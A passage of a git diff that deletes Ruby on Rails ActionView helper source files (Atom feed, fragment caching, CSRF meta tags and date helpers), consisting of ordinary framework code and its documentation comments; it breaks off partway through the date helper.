-      alias_method :path_to_font, :font_path # aliased to avoid conflicts with an font_path named route
-
-      # Computes the full URL to a font asset.
-      # This will use +font_path+ internally, so most of their behaviors will be the same.
-      def font_url(source, options = {})
-        url_to_asset(source, {type: :font}.merge!(options))
-      end
-      alias_method :url_to_font, :font_url # aliased to avoid conflicts with an font_url named route
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/atom_feed_helper.rb b/actionpack/lib/action_view/helpers/atom_feed_helper.rb
deleted file mode 100644
index 42b1dd8..0000000
--- a/actionpack/lib/action_view/helpers/atom_feed_helper.rb
+++ /dev/null
@@ -1,203 +0,0 @@
-require 'set'
-
-module ActionView
-  # = Action View Atom Feed Helpers
-  module Helpers
-    module AtomFeedHelper
-      # Adds easy defaults to writing Atom feeds with the Builder template engine (this does not work on ERB or any other
-      # template languages).
-      #
-      # Full usage example:
-      #
-      #   config/routes.rb:
-      #     Basecamp::Application.routes.draw do
-      #       resources :posts
-      #       root to: "posts#index"
-      #     end
-      #
-      #   app/controllers/posts_controller.rb:
-      #     class PostsController < ApplicationController::Base
-      #       # GET /posts.html
-      #       # GET /posts.atom
-      #       def index
-      #         @posts = Post.all
-      #
-      #         respond_to do |format|
-      #           format.html
-      #           format.atom
-      #         end
-      #       end
-      #     end
-      #
-      #   app/views/posts/index.atom.builder:
-      #     atom_feed do |feed|
-      #       feed.title("My great blog!")
-      #       feed.updated(@posts[0].created_at) if @posts.length > 0
-      #
-      #       @posts.each do |post|
-      #         feed.entry(post) do |entry|
-      #           entry.title(post.title)
-      #           entry.content(post.body, type: 'html')
-      #
-      #           entry.author do |author|
-      #             author.name("DHH")
-      #           end
-      #         end
-      #       end
-      #     end
-      #
-      # The options for atom_feed are:
-      #
-      # * <tt>:language</tt>: Defaults to "en-US".
-      # * <tt>:root_url</tt>: The HTML alternative that this feed is doubling for. Defaults to / on the current host.
-      # * <tt>:url</tt>: The URL for this feed. Defaults to the current URL.
-      # * <tt>:id</tt>: The id for this feed. Defaults to "tag:#{request.host},#{options[:schema_date]}:#{request.fullpath.split(".")[0]}"
-      # * <tt>:schema_date</tt>: The date at which the tag scheme for the feed was first used. A good default is the year you
-      #   created the feed. See http://feedvalidator.org/docs/error/InvalidTAG.html for more information. If not specified,
-      #   2005 is used (as an "I don't care" value).
-      # * <tt>:instruct</tt>: Hash of XML processing instructions in the form {target => {attribute => value, }} or {target => [{attribute => value, }, ]}
-      #
-      # Other namespaces can be added to the root element:
-      #
-      #   app/views/posts/index.atom.builder:
-      #     atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app',
-      #         'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
-      #       feed.title("My great blog!")
-      #       feed.updated((@posts.first.created_at))
-      #       feed.tag!(openSearch:totalResults, 10)
-      #
-      #       @posts.each do |post|
-      #         feed.entry(post) do |entry|
-      #           entry.title(post.title)
-      #           entry.content(post.body, type: 'html')
-      #           entry.tag!('app:edited', Time.now)
-      #
-      #           entry.author do |author|
-      #             author.name("DHH")
-      #           end
-      #         end
-      #       end
-      #     end
-      #
-      # The Atom spec defines five elements (content rights title subtitle
-      # summary) which may directly contain xhtml content if type: 'xhtml'
-      # is specified as an attribute. If so, this helper will take care of
-      # the enclosing div and xhtml namespace declaration. Example usage:
-      #
-      #    entry.summary type: 'xhtml' do |xhtml|
-      #      xhtml.p pluralize(order.line_items.count, "line item")
-      #      xhtml.p "Shipped to #{order.address}"
-      #      xhtml.p "Paid by #{order.pay_type}"
-      #    end
-      #
-      #
-      # <tt>atom_feed</tt> yields an +AtomFeedBuilder+ instance. Nested elements yield
-      # an +AtomBuilder+ instance.
-      def atom_feed(options = {}, &block)
-        if options[:schema_date]
-          options[:schema_date] = options[:schema_date].strftime("%Y-%m-%d") if options[:schema_date].respond_to?(:strftime)
-        else
-          options[:schema_date] = "2005" # The Atom spec copyright date
-        end
-
-        xml = options.delete(:xml) || eval("xml", block.binding)
-        xml.instruct!
-        if options[:instruct]
-          options[:instruct].each do |target,attrs|
-            if attrs.respond_to?(:keys)
-              xml.instruct!(target, attrs)
-            elsif attrs.respond_to?(:each)
-              attrs.each { |attr_group| xml.instruct!(target, attr_group) }
-            end
-          end
-        end
-
-        feed_opts = {"xml:lang" => options[:language] || "en-US", "xmlns" => 'http://www.w3.org/2005/Atom'}
-        feed_opts.merge!(options).reject!{|k,v| !k.to_s.match(/^xml/)}
-
-        xml.feed(feed_opts) do
-          xml.id(options[:id] || "tag:#{request.host},#{options[:schema_date]}:#{request.fullpath.split(".")[0]}")
-          xml.link(:rel => 'alternate', :type => 'text/html', :href => options[:root_url] || (request.protocol + request.host_with_port))
-          xml.link(:rel => 'self', :type => 'application/atom+xml', :href => options[:url] || request.url)
-
-          yield AtomFeedBuilder.new(xml, self, options)
-        end
-      end
-
-      class AtomBuilder #:nodoc:
-        XHTML_TAG_NAMES = %w(content rights title subtitle summary).to_set
-
-        def initialize(xml)
-          @xml = xml
-        end
-
-        private
-          # Delegate to xml builder, first wrapping the element in a xhtml
-          # namespaced div element if the method and arguments indicate
-          # that an xhtml_block? is desired.
-          def method_missing(method, *arguments, &block)
-            if xhtml_block?(method, arguments)
-              @xml.__send__(method, *arguments) do
-                @xml.div(:xmlns => 'http://www.w3.org/1999/xhtml') do |xhtml|
-                  block.call(xhtml)
-                end
-              end
-            else
-              @xml.__send__(method, *arguments, &block)
-            end
-          end
-
-          # True if the method name matches one of the five elements defined
-          # in the Atom spec as potentially containing XHTML content and
-          # if type: 'xhtml' is, in fact, specified.
-          def xhtml_block?(method, arguments)
-            if XHTML_TAG_NAMES.include?(method.to_s)
-              last = arguments.last
-              last.is_a?(Hash) && last[:type].to_s == 'xhtml'
-            end
-          end
-      end
-
-      class AtomFeedBuilder < AtomBuilder #:nodoc:
-        def initialize(xml, view, feed_options = {})
-          @xml, @view, @feed_options = xml, view, feed_options
-        end
-
-        # Accepts a Date or Time object and inserts it in the proper format. If nil is passed, current time in UTC is used.
-        def updated(date_or_time = nil)
-          @xml.updated((date_or_time || Time.now.utc).xmlschema)
-        end
-
-        # Creates an entry tag for a specific record and prefills the id using class and id.
-        #
-        # Options:
-        #
-        # * <tt>:published</tt>: Time first published. Defaults to the created_at attribute on the record if one such exists.
-        # * <tt>:updated</tt>: Time of update. Defaults to the updated_at attribute on the record if one such exists.
-        # * <tt>:url</tt>: The URL for this entry. Defaults to the polymorphic_url for the record.
-        # * <tt>:id</tt>: The ID for this entry. Defaults to "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}"
-        # * <tt>:type</tt>: The TYPE for this entry. Defaults to "text/html".
-        def entry(record, options = {})
-          @xml.entry do
-            @xml.id(options[:id] || "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}")
-
-            if options[:published] || (record.respond_to?(:created_at) && record.created_at)
-              @xml.published((options[:published] || record.created_at).xmlschema)
-            end
-
-            if options[:updated] || (record.respond_to?(:updated_at) && record.updated_at)
-              @xml.updated((options[:updated] || record.updated_at).xmlschema)
-            end
-
-            type = options.fetch(:type, 'text/html')
-
-            @xml.link(:rel => 'alternate', :type => type, :href => options[:url] || @view.polymorphic_url(record))
-
-            yield AtomBuilder.new(@xml)
-          end
-        end
-      end
-
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/cache_helper.rb b/actionpack/lib/action_view/helpers/cache_helper.rb
deleted file mode 100644
index 8fc78ea..0000000
--- a/actionpack/lib/action_view/helpers/cache_helper.rb
+++ /dev/null
@@ -1,196 +0,0 @@
-module ActionView
-  # = Action View Cache Helper
-  module Helpers
-    module CacheHelper
-      # This helper exposes a method for caching fragments of a view
-      # rather than an entire action or page. This technique is useful
-      # caching pieces like menus, lists of newstopics, static HTML
-      # fragments, and so on. This method takes a block that contains
-      # the content you wish to cache.
-      #
-      # The best way to use this is by doing key-based cache expiration
-      # on top of a cache store like Memcached that'll automatically
-      # kick out old entries. For more on key-based expiration, see:
-      # http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works
-      #
-      # When using this method, you list the cache dependency as the name of the cache, like so:
-      #
-      #   <% cache project do %>
-      #     <b>All the topics on this project</b>
-      #     <%= render project.topics %>
-      #   <% end %>
-      #
-      # This approach will assume that when a new topic is added, you'll touch
-      # the project. The cache key generated from this call will be something like:
-      #
-      #   views/projects/123-20120806214154/7a1156131a6928cb0026877f8b749ac9
-      #         ^class   ^id ^updated_at    ^template tree digest
-      #
-      # The cache is thus automatically bumped whenever the project updated_at is touched.
-      #
-      # If your template cache depends on multiple sources (try to avoid this to keep things simple),
-      # you can name all these dependencies as part of an array:
-      #
-      #   <% cache [ project, current_user ] do %>
-      #     <b>All the topics on this project</b>
-      #     <%= render project.topics %>
-      #   <% end %>
-      #
-      # This will include both records as part of the cache key and updating either of them will
-      # expire the cache.
-      #
-      # ==== Template digest
-      #
-      # The template digest that's added to the cache key is computed by taking an md5 of the
-      # contents of the entire template file. This ensures that your caches will automatically
-      # expire when you change the template file.
-      #
-      # Note that the md5 is taken of the entire template file, not just what's within the
-      # cache do/end call. So it's possible that changing something outside of that call will
-      # still expire the cache.
-      #
-      # Additionally, the digestor will automatically look through your template file for
-      # explicit and implicit dependencies, and include those as part of the digest.
-      #
-      # The digestor can be bypassed by passing skip_digest: true as an option to the cache call:
-      #
-      #   <% cache project, skip_digest: true do %>
-      #     <b>All the topics on this project</b>
-      #     <%= render project.topics %>
-      #   <% end %>
-      #
-      # ==== Implicit dependencies
-      #
-      # Most template dependencies can be derived from calls to render in the template itself.
-      # Here are some examples of render calls that Cache Digests knows how to decode:
-      #
-      #   render partial: "comments/comment", collection: commentable.comments
-      #   render "comments/comments"
-      #   render 'comments/comments'
-      #   render('comments/comments')
-      #
-      #   render "header" => render("comments/header")
-      #
-      #   render(@topic)         => render("topics/topic")
-      #   render(topics)         => render("topics/topic")
-      #   render(message.topics) => render("topics/topic")
-      #
-      # It's not possible to derive all render calls like that, though. Here are a few examples of things that can't be derived:
-      #
-      #   render group_of_attachments
-      #   render @project.documents.where(published: true).order('created_at')
-      #
-      # You will have to rewrite those to the explicit form:
-      #
-      #   render partial: 'attachments/attachment', collection: group_of_attachments
-      #   render partial: 'documents/document', collection: @project.documents.where(published: true).order('created_at')
-      #
-      # === Explicit dependencies
-      #
-      # Some times you'll have template dependencies that can't be derived at all. This is typically
-      # the case when you have template rendering that happens in helpers. Here's an example:
-      #
-      #   <%= render_sortable_todolists @project.todolists %>
-      #
-      # You'll need to use a special comment format to call those out:
-      #
-      #   <%# Template Dependency: todolists/todolist %>
-      #   <%= render_sortable_todolists @project.todolists %>
-      #
-      # The pattern used to match these is /# Template Dependency: ([^ ]+)/, so it's important that you type it out just so.
-      # You can only declare one template dependency per line.
-      #
-      # === External dependencies
-      #
-      # If you use a helper method, for example, inside of a cached block and you then update that helper,
-      # you'll have to bump the cache as well. It doesn't really matter how you do it, but the md5 of the template file
-      # must change. One recommendation is to simply be explicit in a comment, like:
-      #
-      #   <%# Helper Dependency Updated: May 6, 2012 at 6pm %>
-      #   <%= some_helper_method(person) %>
-      #
-      # Now all you'll have to do is change that timestamp when the helper method changes.
-      def cache(name = {}, options = nil, &block)
-        if controller.perform_caching
-          safe_concat(fragment_for(cache_fragment_name(name, options), options, &block))
-        else
-          yield
-        end
-
-        nil
-      end
-
-      # Cache fragments of a view if +condition+ is true
-      #
-      #   <%= cache_if admin?, project do %>
-      #     <b>All the topics on this project</b>
-      #     <%= render project.topics %>
-      #   <% end %>
-      def cache_if(condition, name = {}, options = nil, &block)
-        if condition
-          cache(name, options, &block)
-        else
-          yield
-        end
-
-        nil
-      end
-
-      # Cache fragments of a view unless +condition+ is true
-      #
-      #   <%= cache_unless admin?, project do %>
-      #     <b>All the topics on this project</b>
-      #     <%= render project.topics %>
-      #   <% end %>
-      def cache_unless(condition, name = {}, options = nil, &block)
-        cache_if !condition, name, options, &block
-      end
-
-      # This helper returns the name of a cache key for a given fragment cache
-      # call. By supplying skip_digest: true to cache, the digestion of cache
-      # fragments can be manually bypassed. This is useful when cache fragments
-      # cannot be manually expired unless you know the exact key which is the
-      # case when using memcached.
-      def cache_fragment_name(name = {}, options = nil)
-        skip_digest = options && options[:skip_digest]
-
-        if skip_digest
-          name
-        else
-          fragment_name_with_digest(name)
-        end
-      end
-
-    private
-
-      def fragment_name_with_digest(name) #:nodoc:
-        if @virtual_path
-          [
-            *Array(name.is_a?(Hash) ? controller.url_for(name).split("://").last : name),
-            Digestor.digest(@virtual_path, formats.last.to_sym, lookup_context, dependencies: view_cache_dependencies)
-          ]
-        else
-          name
-        end
-      end
-
-      # TODO: Create an object that has caching read/write on it
-      def fragment_for(name = {}, options = nil, &block) #:nodoc:
-        if fragment = controller.read_fragment(name, options)
-          fragment
-        else
-          # VIEW TODO: Make #capture usable outside of ERB
-          # This dance is needed because Builder can't use capture
-          pos = output_buffer.length
-          yield
-          output_safe = output_buffer.html_safe?
-          fragment = output_buffer.slice!(pos..-1)
-          if output_safe
-            self.output_buffer = output_buffer.class.new(output_buffer)
-          end
-          controller.write_fragment(name, fragment, options)
-        end
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/csrf_helper.rb b/actionpack/lib/action_view/helpers/csrf_helper.rb
deleted file mode 100644
index eeb0ed9..0000000
--- a/actionpack/lib/action_view/helpers/csrf_helper.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-module ActionView
-  # = Action View CSRF Helper
-  module Helpers
-    module CsrfHelper
-      # Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
-      # request forgery protection parameter and token, respectively.
-      #
-      #   <head>
-      #     <%= csrf_meta_tags %>
-      #   </head>
-      #
-      # These are used to generate the dynamic forms that implement non-remote links with
-      # <tt>:method</tt>.
-      #
-      # Note that regular forms generate hidden fields, and that Ajax calls are whitelisted,
-      # so they do not use these tags.
-      def csrf_meta_tags
-        if protect_against_forgery?
-          [
-            tag('meta', :name => 'csrf-param', :content => request_forgery_protection_token),
-            tag('meta', :name => 'csrf-token', :content => form_authenticity_token)
-          ].join("\n").html_safe
-        end
-      end
-
-      # For backwards compatibility.
-      alias csrf_meta_tag csrf_meta_tags
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/date_helper.rb b/actionpack/lib/action_view/helpers/date_helper.rb
deleted file mode 100644
index 7216f72..0000000
--- a/actionpack/lib/action_view/helpers/date_helper.rb
+++ /dev/null
@@ -1,1083 +0,0 @@
-require 'date'
-require 'action_view/helpers/tag_helper'
-require 'active_support/core_ext/array/extract_options'
-require 'active_support/core_ext/date/conversions'
-require 'active_support/core_ext/hash/slice'
-require 'active_support/core_ext/object/with_options'
-
-module ActionView
-  module Helpers
-    # = Action View Date Helpers
-    #
-    # The Date Helper primarily creates select/option tags for different kinds of dates and times or date and time
-    # elements. All of the select-type methods share a number of common options that are as follows:
-    #
-    # * <tt>:prefix</tt> - overwrites the default prefix of "date" used for the select names. So specifying "birthday"
-    #   would give \birthday[month] instead of \date[month] if passed to the <tt>select_month</tt> method.
-    # * <tt>:include_blank</tt> - set to true if it should be possible to set an empty date.
-    # * <tt>:discard_type</tt> - set to true if you want to discard the type part of the select name. If set to true,
-    #   the <tt>select_month</tt> method would use simply "date" (which can be overwritten using <tt>:prefix</tt>) instead
-    #   of \date[month].
-    module DateHelper
-      # Reports the approximate distance in time between two Time, Date or DateTime objects or integers as seconds.
-      # Pass <tt>include_seconds: true</tt> if you want more detailed approximations when distance < 1 min, 29 secs.
-      # Distances are reported based on the following table:
-      #
-      #   0 <-> 29 secs                                                             # => less than a minute
-      #   30 secs <-> 1 min, 29 secs                                                # => 1 minute
-      #   1 min, 30 secs <-> 44 mins, 29 secs                                       # => [2..44] minutes
-      #   44 mins, 30 secs <-> 89 mins, 29 secs                                     # => about 1 hour
-      #   89 mins, 30 secs <-> 23 hrs, 59 mins, 29 secs                             # => about [2..24] hours
-      #   23 hrs, 59 mins, 30 secs <-> 41 hrs, 59 mins, 29 secs                     # => 1 day
-      #   41 hrs, 59 mins, 30 secs  <-> 29 days, 23 hrs, 59 mins, 29 secs           # => [2..29] days
-      #   29 days, 23 hrs, 59 mins, 30 secs <-> 44 days, 23 hrs, 59 mins, 29 secs   # => about 1 month
-      #   44 days, 23 hrs, 59 mins, 30 secs <-> 59 days, 23 hrs, 59 mins, 29 secs   # => about 2 months
-      #   59 days, 23 hrs, 59 mins, 30 secs <-> 1 yr minus 1 sec                    # => [2..12] months
-      #   1 yr <-> 1 yr, 3 months                                                   # => about 1 year
-      #   1 yr, 3 months <-> 1 yr, 9 months                                         # => over 1 year
-      #   1 yr, 9 months <-> 2 yr minus 1 sec                                       # => almost 2 years
-      #   2 yrs <-> max time or date                                                # => (same rules as 1 yr)
-      #
-      # With <tt>include_seconds: true</tt> and the difference < 1 minute 29 seconds:
-      #   0-4   secs      # => less than 5 seconds
-      #   5-9   secs      # => less than 10 seconds
-      #   10-19 secs      # => less than 20 seconds
-      #   20-39 secs      # => half a minute
-      #   40-59 secs      # => less than a minute
-      #   60-89 secs      # => 1 minute
-      #
-      #   from_time = Time.now
-      #   distance_of_time_in_words(from_time, from_time + 50.minutes)                                # => about 1 hour
-      #   distance_of_time_in_words(from_time, 50.minutes.from_now)                                   # => about 1 hour
-      #   distance_of_time_in_words(from_time, from_time + 15.seconds)                                # => less than a minute
-      #   distance_of_time_in_words(from_time, from_time + 15.seconds, include_seconds: true)      # => less than 20 seconds
-      #   distance_of_time_in_words(from_time, 3.years.from_now)                                      # => about 3 years
-      #   distance_of_time_in_words(from_time, from_time + 60.hours)                                  # => 3 days
-      #   distance_of_time_in_words(from_time, from_time + 45.seconds, include_seconds: true)      # => less than a minute
-      #   distance_of_time_in_words(from_time, from_time - 45.seconds, include_seconds: true)      # => less than a minute
-      #   distance_of_time_in_words(from_time, 76.seconds.from_now)                                   # => 1 minute
-      #   distance_of_time_in_words(from_time, from_time + 1.year + 3.days)                           # => about 1 year
-      #   distance_of_time_in_words(from_time, from_time + 3.years + 6.months)                        # => over 3 years
-      #   distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => about 4 years
-      #
-      #   to_time = Time.now + 6.years + 19.days
-      #   distance_of_time_in_words(from_time, to_time, include_seconds: true)                     # => about 6 years
-      #   distance_of_time_in_words(to_time, from_time, include_seconds: true)                     # => about 6 years
-      #   distance_of_time_in_words(Time.now, Time.now)                                               # => less than a minute
-      def distance_of_time_in_words(from_time, to_time = 0, include_seconds_or_options = {}, options = {})
-        if include_seconds_or_options.is_a?(Hash)
-          options = include_seconds_or_options
-        else
-          ActiveSupport::Deprecation.warn "distance_of_time_in_words and time_ago_in_words now accept :include_seconds " +
-                                          "as a part of options hash, not a boolean argument"
-          options[:include_seconds] ||= !!include_seconds_or_options
-        end
-
-        options = {
-          scope: :'datetime.distance_in_words'
-        }.merge!(options)
-
-        from_time = from_time.to_time if from_time.respond_to?(:to_time)
-        to_time = to_time.to_time if to_time.respond_to?(:to_time)
-        from_time, to_time = to_time, from_time if from_time > to_time
-        distance_in_minutes = ((to_time - from_time)/60.0).round
-        distance_in_seconds = (to_time - from_time).round
-
-        I18n.with_options :locale => options[:locale], :scope => options[:scope] do |locale|
-          case distance_in_minutes
-            when 0..1
-              return distance_in_minutes == 0 ?
-                     locale.t(:less_than_x_minutes, :count => 1) :
-                     locale.t(:x_minutes, :count => distance_in_minutes) unless options[:include_seconds]
-
-              case distance_in_seconds
-                when 0..4   then locale.t :less_than_x_seconds, :count => 5
-                when 5..9   then locale.t :less_than_x_seconds, :count => 10
-                when 10..19 then locale.t :less_than_x_seconds, :count => 20
-                when 20..39 then locale.t :half_a_minute
-                when 40..59 then locale.t :less_than_x_minutes, :count => 1
-                else             locale.t :x_minutes,           :count => 1
-              end
-
-            when 2...45           then locale.t :x_minutes,      :count => distance_in_minutes
-            when 45...90          then locale.t :about_x_hours,  :count => 1
-            # 90 mins up to 24 hours
-            when 90...1440        then locale.t :about_x_hours,  :count => (distance_in_minutes.to_f / 60.0).round
-            # 24 hours up to 42 hours
-            when 1440...2520      then locale.t :x_days,         :count => 1
-            # 42 hours up to 30 days
-            when 2520...43200     then locale.t :x_days,         :count => (distance_in_minutes.to_f / 1440.0).round
-            # 30 days up to 60 days
-            when 43200...86400    then locale.t :about_x_months, :count => (distance_in_minutes.to_f / 43200.0).round
-            # 60 days up to 365 days
-            when 86400...525600   then locale.t :x_months,       :count => (distance_in_minutes.to_f / 43200.0).round
-            else
-              if from_time.acts_like?(:time) && to_time.acts_like?(:time)
-                fyear = from_time.year
-                fyear += 1 if from_time.month >= 3
-                tyear = to_time.year
-                tyear -= 1 if to_time.month < 3
-                leap_years = (fyear > tyear) ? 0 : (fyear..tyear).count{|x| Date.leap?(x)}
-                minute_offset_for_leap_year = leap_years * 1440
-                # Discount the leap year days when calculating year distance.
-                # e.g. if there are 20 leap year days between 2 dates having the same day
-                # and month then the based on 365 days calculation
-                # the distance in years will come out to over 80 years when in written
-                # english it would read better as about 80 years.
-                minutes_with_offset = distance_in_minutes - minute_offset_for_leap_year
-              else
-                minutes_with_offset = distance_in_minutes
-              end
-              remainder                   = (minutes_with_offset % 525600)
-              distance_in_years           = (minutes_with_offset.div 525600)
-              if remainder < 131400
-                locale.t(:about_x_years,  :count => distance_in_years)
-              elsif remainder < 394200
-                locale.t(:over_x_years,   :count => distance_in_years)
-              else
-                locale.t(:almost_x_years, :count => distance_in_years + 1)
-              end
-          end
-        end
-      end
-
-      # Like <tt>distance_of_time_in_words</tt>, but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
-      #
-      #   time_ago_in_words(3.minutes.from_now)                 # => 3 minutes
-      #   time_ago_in_words(3.minutes.ago)                      # => 3 minutes
-      #   time_ago_in_words(Time.now - 15.hours)                # => about 15 hours
-      #   time_ago_in_words(Time.now)                           # => less than a minute
-      #   time_ago_in_words(Time.now, include_seconds: true) # => less than 5 seconds
-      #
-      #   from_time = Time.now - 3.days - 14.minutes - 25.seconds
-      #   time_ago_in_words(from_time)      # => 3 days
-      #
-      #   from_time = (3.days + 14.minutes + 25.seconds).ago
-      #   time_ago_in_words(from_time)      # => 3 days
-      #
-      # Note that you cannot pass a <tt>Numeric</tt> value to <tt>time_ago_in_words</tt>.
-      #
-      def time_ago_in_words(from_time, include_seconds_or_options = {})
-        distance_of_time_in_words(from_time, Time.now, include_seconds_or_options)
-      end
-
-      alias_method :distance_of_time_in_words_to_now, :time_ago_in_words
-
-      # Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based
-      # attribute (identified by +method+) on an object assigned to the template (identified by +object+).
-      #
-      # ==== Options
-      # * <tt>:use_month_numbers</tt> - Set to true if you want to use month numbers rather than month names (e.g.
-      #   "2" instead of "February").
-      # * <tt>:use_two_digit_numbers</tt> - Set to true if you want to display two digit month and day numbers (e.g.
-      #   "02" instead of "February" and "08" instead of "8").
-      # * <tt>:use_short_month</tt>   - Set to true if you want to use abbreviated month names instead of full
-      #   month names (e.g. "Feb" instead of "February").
-      # * <tt>:add_month_numbers</tt>  - Set to true if you want to use both month numbers and month names (e.g.
-      #   "2 - February" instead of "February").
-      # * <tt>:use_month_names</tt>   - Set to an array with 12 month names if you want to customize month names.
-      #   Note: You can also use Rails' i18n functionality for this.
-      # * <tt>:date_separator</tt>    - Specifies a string to separate the date fields. Default is "" (i.e. nothing).
-      # * <tt>:start_year</tt>        - Set the start year for the year select. Default is <tt>Time.now.year - 5</tt>.
-      # * <tt>:end_year</tt>          - Set the end year for the year select. Default is <tt>Time.now.year + 5</tt>.
-      # * <tt>:discard_day</tt>       - Set to true if you don't want to show a day select. This includes the day
-      #   as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the
-      #   first of the given month in order to not create invalid dates like 31 February.
-      # * <tt>:discard_month</tt>     - Set to true if you don't want to show a month select. This includes the month
-      #   as a hidden field instead of showing a select field. Also note that this implicitly sets :discard_day to true.
-      # * <tt>:discard_year</tt>      - Set to true if you don't want to show a year select. This includes the year
-      #   as a hidden field instead of showing a select field.
-      # * <tt>:order</tt>             - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> to
-      #   customize the order in which the select fields are shown. If you leave out any of the symbols, the respective
-      #   select will not be shown (like when you set <tt>discard_xxx: true</tt>. Defaults to the order defined in
-      #   the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).
-      # * <tt>:include_blank</tt>     - Include a blank option in every select field so it's possible to set empty
-      #   dates.
-      # * <tt>:default</tt>           - Set a default date if the affected date isn't set or is nil.
-      # * <tt>:selected</tt>          - Set a date that overrides the actual value.
-      # * <tt>:disabled</tt>          - Set to true if you want show the select fields as disabled.
-      # * <tt>:prompt</tt>            - Set to true (for a generic prompt), a prompt string or a hash of prompt strings
-      #   for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt> and <tt>:second</tt>.
-      #   Setting this option prepends a select option with a generic prompt  (Day, Month, Year, Hour, Minute, Seconds)
-      #   or the given prompt string.
-      # * <tt>:with_css_classes</tt>   - Set to true if you want assign different styles for 'select' tags. This option
-      #   automatically set classes 'year', 'month', 'day', 'hour', 'minute' and 'second' for your 'select' tags.
-      #
-      # If anything is passed in the +html_options+ hash it will be applied to every select tag in the set.
-      #
-      # NOTE: Discarded selects will default to 1. So if no month select is available, January will be assumed.
-      #
-      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute.
-      #   date_select("article", "written_on")
-      #
-      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
-      #   # with the year in the year drop down box starting at 1995.
-      #   date_select("article", "written_on", start_year: 1995)
-      #
-      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
-      #   # with the year in the year drop down box starting at 1995, numbers used for months instead of words,
-      #   # and without a day select box.
-      #   date_select("article", "written_on", start_year: 1995, use_month_numbers: true,
-      #                                     discard_day: true, include_blank: true)
-      #
-      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
-      #   # with two digit numbers used for months and days.
-      #   date_select("article", "written_on", use_two_digit_numbers: true)
-      #
-      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
-      #   # with the fields ordered as day, month, year rather than month, day, year.
-      #   date_select("article", "written_on", order: [:day, :month, :year])
-      #
-      #   # Generates a date select that when POSTed is stored in the user variable, in the birthday attribute
-      #   # lacking a year field.
-      #   date_select("user", "birthday", order: [:month, :day])
-      #
-      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
-      #   # which is initially set to the date 3 days from the current date
-      #   date_select("article", "written_on", default: 3.days.from_now)
-      #
-      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
-      #   # which is set in the form with todays date, regardless of the value in the Active Record object.
-      #   date_select("article", "written_on", selected: Date.today)
-      #
-      #   # Generates a date select that when POSTed is stored in the credit_card variable, in the bill_due attribute
-      #   # that will have a default day of 20.
-      #   date_select("credit_card", "bill_due", default: { day: 20 })
-      #
-      #   # Generates a date select with custom prompts.
-      #   date_select("article", "written_on", prompt: { day: 'Select day', month: 'Select month', year: 'Select year' })
-      #
-      # The selects are prepared for multi-parameter assignment to an Active Record object.
-      #
-      # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
-      # all month choices are valid.
-      def date_select(object_name, method, options = {}, html_options = {})
-        Tags::DateSelect.new(object_name, method, self, options, html_options).render
-      end
-
-      # Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a
-      # specified time-based attribute (identified by +method+) on an object assigned to the template (identified by
-      # +object+). You can include the seconds with <tt>:include_seconds</tt>. You can get hours in the AM/PM format
-      # with <tt>:ampm</tt> option.
-      #
-      # This method will also generate 3 input hidden tags, for the actual year, month and day unless the option
-      # <tt>:ignore_date</tt> is set to +true+. If you set the <tt>:ignore_date</tt> to +true+, you must have a
-      # +date_select+ on the same method within the form otherwise an exception will be raised.
-      #
-      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
-      #
-      #   # Creates a time select tag that, when POSTed, will be stored in the article variable in the sunrise attribute.
-      #   time_select("article", "sunrise")
-      #
-      #   # Creates a time select tag with a seconds field that, when POSTed, will be stored in the article variables in
-      #   # the sunrise attribute.
-      #   time_select("article", "start_time", include_seconds: true)
-      #
-      #   # You can set the <tt>:minute_step</tt> to 15 which will give you: 00, 15, 30 and 45.
-      #   time_select 'game', 'game_time', {minute_step: 15}
-      #
-      #   # Creates a time select tag with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
-      #   time_select("article", "written_on", prompt: {hour: 'Choose hour', minute: 'Choose minute', second: 'Choose seconds'})
-      #   time_select("article", "written_on", prompt: {hour: true}) # generic prompt for hours
-      #   time_select("article", "written_on", prompt: true) # generic prompts for all
-      #
-      #   # You can set :ampm option to true which will show the hours as: 12 PM, 01 AM .. 11 PM.
-      #   time_select 'game', 'game_time', {ampm: true}
-      #
-      # The selects are prepared for multi-parameter assignment to an Active Record object.
-      #
-      # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
-      # all month choices are valid.
-      def time_select(object_name, method, options = {}, html_options = {})
-        Tags::TimeSelect.new(object_name, method, self, options, html_options).render
-      end
-
-      # Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a
-      # specified datetime-based attribute (identified by +method+) on an object assigned to the template (identified
-      # by +object+).
-      #
-      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
-      #
-      #   # Generates a datetime select that, when POSTed, will be stored in the article variable in the written_on
-      #   # attribute.
-      #   datetime_select("article", "written_on")
-      #
-      #   # Generates a datetime select with a year select that starts at 1995 that, when POSTed, will be stored in the
-      #   # article variable in the written_on attribute.
